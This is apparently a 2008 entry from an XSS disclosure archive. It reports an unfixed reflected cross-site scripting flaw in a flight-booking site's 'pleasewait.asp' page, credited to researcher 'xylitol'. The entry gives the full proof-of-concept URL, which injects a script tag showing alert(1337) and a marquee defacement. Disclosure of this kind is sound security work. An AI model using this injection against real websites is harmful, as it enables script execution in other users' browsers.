Security researcher xylitol, has submitted on 14/06/2008 a cross-site-scripting (XSS) vulnerability affecting www.bookings-cwlfly.com, which at the time of submission ranked 724701 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 15/06/2008. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
| Date submitted: 14/06/2008 |
Date published: 15/06/2008 |
Fixed? Mail us! | Status:  UNFIXED |
| Author: xylitol |
Domain: www.bookings-cwlfly.com |
Category: XSS |
Pagerank: 724701 |
|---|
URL: http://www.bookings-cwlfly.com/flights/pleasewait.asp?airportto='%22%3E%3C/title%3E%3Cscript%3Ealert
(1337)%3C/script%3E%3E%3Cmarquee%3E%3Ch1%3EXSS%20by%20Xylitol%3C/h1%3E%3C/marquee%3EBRE&airportfrom=
CWL&_stage=search&enddate_d=24&enddate_m=06&enddate_y=2008&cabinclass=X&direction=from&startdate_d=1
7&startdate_m=06&startdate_y=2008&seats_child=0¤cy=GBP&seats_adult=1&lookupFree=-%20Enter%20a%
20destination%20-&seats_infant=0 |
|
Click here to view the mirror
|
|
|
| 
